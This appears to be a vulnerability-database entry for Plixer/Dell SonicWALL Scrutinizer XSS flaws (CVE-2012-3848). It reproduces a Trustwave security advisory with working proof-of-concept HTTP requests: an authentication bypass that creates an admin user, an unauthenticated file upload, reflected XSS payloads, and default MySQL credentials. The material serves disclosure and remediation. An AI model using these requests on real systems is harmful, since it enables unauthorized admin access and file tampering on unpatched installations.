Search criteria

Vendor

Product

Assigner

Sources

Sort by

Order

Apply ordering (override relevance)

VAR-201207-0300

Vulnerability from variot - Updated: 2025-04-11 22:49

Multiple cross-site scripting (XSS) vulnerabilities in the web console in Plixer Scrutinizer (aka Dell SonicWALL Scrutinizer) before 9.5.0 allow remote attackers to inject arbitrary web script or HTML via (1) the query string to d4d/exporters.php, (2) the HTTP Referer header to d4d/exporters.php, or (3) unspecified input to d4d/contextMenu.php. (1) d4d/exporters.php Query string for (2) d4d/exporters.php To HTTP Referer header (3) d4d/contextMenu.php Unspecified input to. Scrutinizer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Scrutinizer 9.5.0 is vulnerable; other versions may also be affected. Dell SonicWALL Scrutinizer is a set of multi-vendor application communication analysis visualization and reporting tools developed by Dell. The tool provides features such as deep packet analysis, vibration/latency monitoring, and historical and proactive reporting. Trustwave SpiderLabs Security Advisory TWSL2012-014: Multiple Vulnerabilities in Scrutinizer NetFlow & sFlow Analyzer

Published: 07/27/12 Version: 1.0

Vendor: Plixer International (http://www.plixer.com) Product: Scrutinizer NetFlow and sFlow Analyzer Version affected: Confirmed 9.0.1 (Build 9.0.1.19899) and prior versions may be affected as well. Please note that the software can be found in a long list of other products. Visit http://www.plixer.com/Scrutinizer-Netflow-Sflow/scrutinizer.html for the partial list.

Product description: Network analysis tool for monitoring the overall network health and reports on which hosts, applications, protocols, etc. that are consuming network bandwidth.

Credits: Mario Ceballos of the Metasploit Project Jonathan Claudius of Trustwave Spiderlabs

Finding 1: HTTP Authentication Bypass Vulnerability CVE: CVE-2012-2626

The Scrutinizer web console provides a form-based login facility, requiring users to authenticate to gain access to further functionality. A tiered user access model is also used, where administrative and standard users have a different selection of permissible functions. Authentication and authorization is controlled by the cookie-based session management system. Although this is implemented in a standardized way, the session tokens are not required to perform privileged functions, such as adding users.

Example(s):

This request will add a user named "trustwave" with the password of "trustwave" to the administrative user group.

Request

POST /cgi-bin/admin.cgi HTTP/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0) Gecko/20100101 Firefox/11.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Content-Length: 70

tool=userprefs&newUser=trustwave&pwd=trustwave&selectedUserGroup=1

Response

HTTP/1.1 200 OK Date: Wed, 25 Apr 2012 17:52:15 GMT Server: Apache Vary: Accept-Encoding Content-Length: 19 Content-Type: text/html; charset=utf-8

{"new_user_id":"2"}

Finding 2: Arbitrary File Upload Vulnerability CVE: CVE-2012-2627

The Scrutinizer web console is prone to unauthenticated arbitrary file upload vulnerability. An attacker could exploit this vulnerability to upload files to the affected systems file system as well as overwrite the Scrutinizer applications SNMP configuration.

Example(s):

This request will upload a test file to the following location:

'C:\Program Files (x86)\Scrutinizer\snmp\mibs\trustwave.txt'

Note: This affected folder also contains SNMP configuration files which could be overwritten if an attacker were to select the right file name.

Request

POST /d4d/uploader.php HTTP/1.0 Host: A.B.C.D User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Content-Type: multipart/form-data; boundary=_Part_949_3365333252_3066945593 Content-Length: 210

--_Part_949_3365333252_3066945593 Content-Disposition: form-data; name="uploadedfile"; filename="trustwave.txt" Content-Type: application/octet-stream

trustwave

--_Part_949_3365333252_3066945593--

Response

HTTP/1.1 200 OK Date: Wed, 25 Apr 2012 17:39:15 GMT Server: Apache X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-Length: 41 Connection: close Content-Type: text/html

{"success":1,"file_name":"trustwave.txt"}

Confirming on File System

C:>type "Program Files (x86)\Scrutinizer\snmp\mibs\trustwave.txt" trustwave

Finding 3: Multiple Cross-site Scripting Vulnerabilities in exporters.php and contextMenu.php CVE: CVE-2012-3848

The Scrutinizer web console suffers from multiple Cross Site Scripting vulnerabilities in the following pages:

1.) /d4d/contextMenu.php 2.) /d4d/exporters.php

These vulnerabilities include the following:

1.) XSS via arbitrary parameter 3.) XSS via referrer header

Example(s):

The following two examples will demonstrate the the above mentioned vulnerabilities on exporters.php

Request 1

GET /d4d/exporters.php?aalert(123)=1 HTTP/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:12.0) Gecko/20100101 Firefox/12.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive

Response 1

/d4d/exporters.php?aalert(123)=1

Request 2

GET /d4d/exporters.php HTTP/1.1 Host: A.B.C.D Accept: / Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://D.E.F.G/search?hl=en&q=aalert(123)=1 Content-Length: 2

Response 2

http://D.E.F.G/search?hl=en&q=aalert(123)=1

Finding 4: Undocumented Default Admin MySQL Users CVE: CVE-2012-3951

The Scrutinizer application relies on an underlying Apache, MySQL and PHP installation which is installed as part of the scrutinizer installer package. The installation of these packages are transparent to the user during the Scrutinizer installation.

The installation selects default passwords for internal MySQL Users which are not configured by the user which could be easily guessed by an attacker. There is currently no way to change these values within the Scrutinizer application and changing them manually in the MySQL instance has unknown effects on the application due to hardcoded values for some of these accounts.

Example(s):

The following MySQL command can be run to see the users and their relative passwords:

Request

select User,Password from mysql.user;

Response

Note 1: the above hash shared between the 'scrutinizer' and 'scrutremote' users is equivalent to 'admin'

Note 2: the 'scrutinizer' and 'scrutremote' users have select, update, delete, create, drop, and more permissions within the MySQL instance.

Note 3: By default, the MySQL instance is bound to "0.0.0.0", the equivalent of every network interface on the system allowing users with the proper access rights to interact directly with the MySQL instance.

Remediation Steps: Customers should update to the latest version of Scrutinizer NetFlow & sFlow Analyzer in order to address findings 1, 2 and 3. These issues have been corrected in version 9.5.0.

Revision History: 05/02/12 - Vulnerability disclosed 05/16/12 - Patch released by vendor 07/11/12 - Vendor publishes announcement 07/27/12 - Advisory published

References 1. http://www.plixer.com 2. http://blog.spiderlabs.com

About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com

About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs

Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.

This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format

Show details on source website

JSON

To clipboard

{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-201207-0300",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "scrutinizer",
        "scope": "lt",
        "trust": 1.0,
        "vendor": "sonicwall",
        "version": "9.5.0"
      },
      {
        "model": "sonicwall scrutinizer",
        "scope": "lt",
        "trust": 0.8,
        "vendor": "dell",
        "version": "9.5.0"
      },
      {
        "model": "sonicwall scrutinizer with flow analytics module",
        "scope": "lt",
        "trust": 0.8,
        "vendor": "dell",
        "version": "9.5.0"
      },
      {
        "model": "scrutinizer",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "sonicwall",
        "version": "9.0.0"
      },
      {
        "model": "scrutinizer",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "sonicwall",
        "version": "9.0.1"
      },
      {
        "model": "scrutinizer",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "sonicwall",
        "version": "8.6.2"
      },
      {
        "model": "international scrutinizer",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "plixer",
        "version": "9.0.1.19899"
      }
    ],
    "sources": [
      {
        "db": "BID",
        "id": "54725"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-003435"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201207-592"
      },
      {
        "db": "NVD",
        "id": "CVE-2012-3848"
      }
    ]
  },
  "configurations": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/configurations#",
      "children": {
        "@container": "@list"
      },
      "cpe_match": {
        "@container": "@list"
      },
      "data": {
        "@container": "@list"
      },
      "nodes": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "cpe_match": [
              {
                "cpe22Uri": "cpe:/a:dell:sonicwall_scrutinizer",
                "vulnerable": true
              },
              {
                "cpe22Uri": "cpe:/a:dell:sonicwall_scrutinizer_with_flow_analytics_module",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-003435"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Mario Ceballos of the Metasploit Project and Jonathan Claudius of Trustwave Spiderlabs",
    "sources": [
      {
        "db": "BID",
        "id": "54725"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201207-592"
      }
    ],
    "trust": 0.9
  },
  "cve": "CVE-2012-3848",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "nvd@nist.gov",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "confidentialityImpact": "NONE",
            "exploitabilityScore": 8.6,
            "id": "CVE-2012-3848",
            "impactScore": 2.9,
            "integrityImpact": "PARTIAL",
            "severity": "MEDIUM",
            "trust": 1.8,
            "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
            "version": "2.0"
          },
          {
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "VULHUB",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "confidentialityImpact": "NONE",
            "exploitabilityScore": 8.6,
            "id": "VHN-57129",
            "impactScore": 2.9,
            "integrityImpact": "PARTIAL",
            "severity": "MEDIUM",
            "trust": 0.1,
            "vectorString": "AV:N/AC:M/AU:N/C:N/I:P/A:N",
            "version": "2.0"
          }
        ],
        "cvssV3": [],
        "severity": [
          {
            "author": "nvd@nist.gov",
            "id": "CVE-2012-3848",
            "trust": 1.0,
            "value": "MEDIUM"
          },
          {
            "author": "NVD",
            "id": "CVE-2012-3848",
            "trust": 0.8,
            "value": "Medium"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201207-592",
            "trust": 0.6,
            "value": "MEDIUM"
          },
          {
            "author": "VULHUB",
            "id": "VHN-57129",
            "trust": 0.1,
            "value": "MEDIUM"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-57129"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-003435"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201207-592"
      },
      {
        "db": "NVD",
        "id": "CVE-2012-3848"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Multiple cross-site scripting (XSS) vulnerabilities in the web console in Plixer Scrutinizer (aka Dell SonicWALL Scrutinizer) before 9.5.0 allow remote attackers to inject arbitrary web script or HTML via (1) the query string to d4d/exporters.php, (2) the HTTP Referer header to d4d/exporters.php, or (3) unspecified input to d4d/contextMenu.php. (1) d4d/exporters.php Query string for (2) d4d/exporters.php To HTTP Referer header (3) d4d/contextMenu.php Unspecified input to. Scrutinizer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. \nAn attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks. \nScrutinizer 9.5.0 is vulnerable; other versions may also be affected. Dell SonicWALL Scrutinizer is a set of multi-vendor application communication analysis visualization and reporting tools developed by Dell. The tool provides features such as deep packet analysis, vibration/latency monitoring, and historical and proactive reporting. Trustwave SpiderLabs Security Advisory TWSL2012-014:\nMultiple Vulnerabilities in Scrutinizer NetFlow \u0026 sFlow Analyzer\n\nPublished: 07/27/12\nVersion: 1.0\n\nVendor: Plixer International (http://www.plixer.com)\nProduct: Scrutinizer NetFlow and sFlow Analyzer\nVersion affected: Confirmed 9.0.1 (Build 9.0.1.19899) and prior versions\nmay be affected as well. Please note that the software can be found in a\nlong list of other products. Visit http://www.plixer.com/Scrutinizer-Netflow-Sflow/scrutinizer.html\nfor the partial list. \n\nProduct description:\nNetwork analysis tool for monitoring the overall network health and reports\non which hosts, applications, protocols, etc. that are consuming network\nbandwidth. \n\nCredits:\nMario Ceballos of the Metasploit Project\nJonathan Claudius of Trustwave Spiderlabs\n\nFinding 1: HTTP Authentication Bypass Vulnerability\nCVE: CVE-2012-2626\n\nThe Scrutinizer web console provides a form-based login facility, requiring\nusers to authenticate to gain access to further functionality. A tiered\nuser access model is also used, where administrative and standard users\nhave a different selection of permissible functions. Authentication and\nauthorization is controlled by the cookie-based session management system. \nAlthough this is implemented in a standardized way, the session tokens are\nnot required to perform privileged functions, such as adding users. \n\nExample(s):\n\nThis request will add a user named \"trustwave\" with the password of\n\"trustwave\" to the administrative user group. \n\n#Request\nPOST /cgi-bin/admin.cgi HTTP/1.1\nHost: A.B.C.D\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0) Gecko/20100101 Firefox/11.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nProxy-Connection: keep-alive\nContent-Length: 70\n\ntool=userprefs\u0026newUser=trustwave\u0026pwd=trustwave\u0026selectedUserGroup=1\n\n#Response\nHTTP/1.1 200 OK\nDate: Wed, 25 Apr 2012 17:52:15 GMT\nServer: Apache\nVary: Accept-Encoding\nContent-Length: 19\nContent-Type: text/html; charset=utf-8\n\n{\"new_user_id\":\"2\"}\n\n\nFinding 2: Arbitrary File Upload Vulnerability\nCVE: CVE-2012-2627\n\nThe Scrutinizer web console is prone to unauthenticated arbitrary file upload\nvulnerability.  An attacker could exploit this vulnerability to upload files\nto the affected systems file system as well as overwrite the Scrutinizer\napplications SNMP configuration. \n\nExample(s):\n\nThis request will upload a test file to the following location:\n\n\u0027C:\\Program Files (x86)\\Scrutinizer\\snmp\\mibs\\trustwave.txt\u0027\n\nNote: This affected folder also contains SNMP configuration files which could\nbe overwritten if an attacker were to select the right file name. \n\n#Request\nPOST /d4d/uploader.php HTTP/1.0\nHost: A.B.C.D\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nContent-Type: multipart/form-data; boundary=_Part_949_3365333252_3066945593\nContent-Length: 210\n\n\n--_Part_949_3365333252_3066945593\nContent-Disposition: form-data;\nname=\"uploadedfile\"; filename=\"trustwave.txt\"\nContent-Type: application/octet-stream\n\ntrustwave\n\n--_Part_949_3365333252_3066945593--\n\n#Response\nHTTP/1.1 200 OK\nDate: Wed, 25 Apr 2012 17:39:15 GMT\nServer: Apache\nX-Powered-By: PHP/5.3.3\nVary: Accept-Encoding\nContent-Length: 41\nConnection: close\nContent-Type: text/html\n\n{\"success\":1,\"file_name\":\"trustwave.txt\"}\n\n#Confirming on File System\nC:\\\u003etype \"Program Files (x86)\\Scrutinizer\\snmp\\mibs\\trustwave.txt\"\ntrustwave\n\n\nFinding 3: Multiple Cross-site Scripting Vulnerabilities in exporters.php and contextMenu.php\nCVE: CVE-2012-3848\n\nThe Scrutinizer web console suffers from multiple Cross Site Scripting\nvulnerabilities in the following pages:\n\n1.) /d4d/contextMenu.php\n2.) /d4d/exporters.php\n\nThese vulnerabilities include the following:\n\n1.) XSS via arbitrary parameter\n3.) XSS via referrer header\n\nExample(s):\n\nThe following two examples will demonstrate the the above mentioned vulnerabilities on exporters.php\n\n#Request 1\nGET /d4d/exporters.php?a\u003cscript\u003ealert(123)\u003c/script\u003e=1 HTTP/1.1\nHost: A.B.C.D\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:12.0) Gecko/20100101 Firefox/12.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nProxy-Connection: keep-alive\n\n#Response 1\n\u003csnip\u003e\n\u003ca href=\"/d4d/exporters.php?a\u003cscript\u003ealert(1)\u003c/script\u003e=1\"\u003e/d4d/exporters.php?a\u003cscript\u003ealert(123)\u003c/script\u003e=1\u003c/a\u003e\u003c/td\u003e\u003c/tr\u003e\n\u003csnip\u003e\n\n#Request 2\nGET /d4d/exporters.php HTTP/1.1\nHost: A.B.C.D\nAccept: */*\nAccept-Language: en\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)\nConnection: close\nReferer: http://D.E.F.G/search?hl=en\u0026q=a\u003cscript\u003ealert(123)\u003c/script\u003e=1\nContent-Length: 2\n\n#Response 2\n\u003csnip\u003e\n\u003ca href=\"http://D.E.F.G/search?hl=en\u0026q=a\u003cscript\u003ealert(123)\u003c/script\u003e=1\"\u003ehttp://D.E.F.G/search?hl=en\u0026q=a\u003cscript\u003ealert(123)\u003c/script\u003e=1\u003c/a\u003e\n\u003csnip\u003e\n\nFinding 4: Undocumented Default Admin MySQL Users\nCVE: CVE-2012-3951\n\nThe Scrutinizer application relies on an underlying Apache, MySQL and PHP\ninstallation which is installed as part of the scrutinizer installer\npackage.  The installation of these packages are transparent to the user\nduring the Scrutinizer installation. \n\nThe installation selects default passwords for internal MySQL Users which\nare not configured by the user which could be easily guessed by an\nattacker.  There is currently no way to change these values within the\nScrutinizer application and changing them manually in the MySQL instance\nhas unknown effects on the application due to hardcoded values for some of\nthese accounts. \n\nExample(s):\n\nThe following MySQL command can be run to see the users and their relative\npasswords:\n\n#Request\nselect User,Password from mysql.user;\n\n#Response\nUser          |Password\nroot          |\nroot          |\nscrutinizer   |*4ACFE3202A5FF5CF467898FC58AAB1D615029441\nscrutremote   |*4ACFE3202A5FF5CF467898FC58AAB1D615029441\n\nNote 1: the above hash shared between the \u0027scrutinizer\u0027 and \u0027scrutremote\u0027\nusers is equivalent to \u0027admin\u0027\n\nNote 2: the \u0027scrutinizer\u0027 and \u0027scrutremote\u0027 users have select, update,\ndelete, create, drop, and more permissions within the MySQL instance. \n\nNote 3: By default, the MySQL instance is bound to \"0.0.0.0\", the\nequivalent of every network interface on the system allowing users with the\nproper access rights to interact directly with the MySQL instance. \n\n\nRemediation Steps:\nCustomers should update to the latest version of Scrutinizer NetFlow \u0026\nsFlow Analyzer in order to address findings 1, 2 and 3. These issues have been\ncorrected in version 9.5.0. \n\nRevision History:\n05/02/12 - Vulnerability disclosed\n05/16/12 - Patch released by vendor\n07/11/12 - Vendor publishes announcement\n07/27/12 - Advisory published\n\nReferences\n1. http://www.plixer.com\n2. http://blog.spiderlabs.com\n\n\nAbout Trustwave:\nTrustwave is the leading provider of on-demand and subscription-based\ninformation security and payment card industry compliance management\nsolutions to businesses and government entities throughout the world. For\norganizations faced with today\u0027s challenging data security and compliance\nenvironment, Trustwave provides a unique approach with comprehensive\nsolutions that include its flagship TrustKeeper compliance management\nsoftware and other proprietary security solutions. Trustwave has helped\nthousands of organizations--ranging from Fortune 500 businesses and large\nfinancial institutions to small and medium-sized retailers--manage\ncompliance and secure their network infrastructure, data communications and\ncritical information assets. Trustwave is headquartered in Chicago with\noffices throughout North America, South America, Europe, Africa, China and\nAustralia. For more information, visit https://www.trustwave.com\n\nAbout Trustwave SpiderLabs:\nSpiderLabs(R) is the advanced security team at Trustwave focused on\napplication security, incident response, penetration testing, physical\nsecurity and security research. The team has performed over a thousand\nincident investigations, thousands of penetration tests and hundreds of\napplication security tests globally. In addition, the SpiderLabs Research\nteam provides intelligence through bleeding-edge research and proof of\nconcept tool development to enhance Trustwave\u0027s products and services. \nhttps://www.trustwave.com/spiderlabs\n\nDisclaimer:\nThe information provided in this advisory is provided \"as is\" without\nwarranty of any kind. Trustwave disclaims all warranties, either express or\nimplied, including the warranties of merchantability and fitness for a\nparticular purpose. In no event shall Trustwave or its suppliers be liable\nfor any damages whatsoever including direct, indirect, incidental,\nconsequential, loss of business profits or special damages, even if\nTrustwave or its suppliers have been advised of the possibility of such\ndamages. Some states do not allow the exclusion or limitation of liability\nfor consequential or incidental damages so the foregoing limitation may not\napply. \n\nThis transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2012-3848"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-003435"
      },
      {
        "db": "BID",
        "id": "54725"
      },
      {
        "db": "VULHUB",
        "id": "VHN-57129"
      },
      {
        "db": "PACKETSTORM",
        "id": "115091"
      }
    ],
    "trust": 2.07
  },
  "exploit_availability": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "reference": "https://www.scap.org.cn/vuln/vhn-57129",
        "trust": 0.1,
        "type": "unknown"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-57129"
      }
    ]
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2012-3848",
        "trust": 2.9
      },
      {
        "db": "BID",
        "id": "54725",
        "trust": 1.0
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-003435",
        "trust": 0.8
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201207-592",
        "trust": 0.7
      },
      {
        "db": "EXPLOIT-DB",
        "id": "37547",
        "trust": 0.1
      },
      {
        "db": "VULHUB",
        "id": "VHN-57129",
        "trust": 0.1
      },
      {
        "db": "PACKETSTORM",
        "id": "115091",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-57129"
      },
      {
        "db": "BID",
        "id": "54725"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-003435"
      },
      {
        "db": "PACKETSTORM",
        "id": "115091"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201207-592"
      },
      {
        "db": "NVD",
        "id": "CVE-2012-3848"
      }
    ]
  },
  "id": "VAR-201207-0300",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-57129"
      }
    ],
    "trust": 0.01
  },
  "last_update_date": "2025-04-11T22:49:29.644000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "SonicWALL Scrutinizer",
        "trust": 0.8,
        "url": "http://www.dell.com/us/enterprise/p/sonicwall-scrutinizer/pd"
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-003435"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-79",
        "trust": 1.9
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-57129"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2012-003435"
      },
      {
        "db": "NVD",
        "id": "CVE-2012-3848"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 2.5,
        "url": "http://www.plixer.com/press-releases/plixer-releases-9-5-2.html"
      },
      {
        "trust": 2.5,
        "url": "https://www.trustwave.com/spiderlabs/advisories/twsl2012-014.txt"
      },
      {
        "trust": 0.8,
        "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-3848"
      },
      {
        "trust": 0.8,
        "url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2012-3848"
      },
      {
        "trust": 0.6,
        "url": "http://www.securityfocus.com/bid/54725"
      },
      {
        "trust": 0.4,
        "url": "http://www.plixer.com"
      },
      {
        "trust": 0.1,
        "url": "http://d.e.f.g/search?hl=en\u0026q=a\u003cscript\u003ealert(123)\u003c/script\u003e=1\"\u003ehttp://d.e.f.g/search?hl=en\u0026q=a\u003cscript\u003ealert(123)\u003c/script\u003e=1\u003c/a\u003e"
      },
      {
        "trust": 0.1,
        "url": "http://blog.spiderlabs.com"
      },
      {
        "trust": 0.1,
        "url": "http://d.e.f.g/search?hl=en\u0026q=a\u003cscript\u003ealert(123)\u003c/script\u003e=1"
      },
      {
        "trust": 0.1,
        "url": "https://www.trustwave.com/spiderlabs"
      },
      {
        "trust": 0.1,
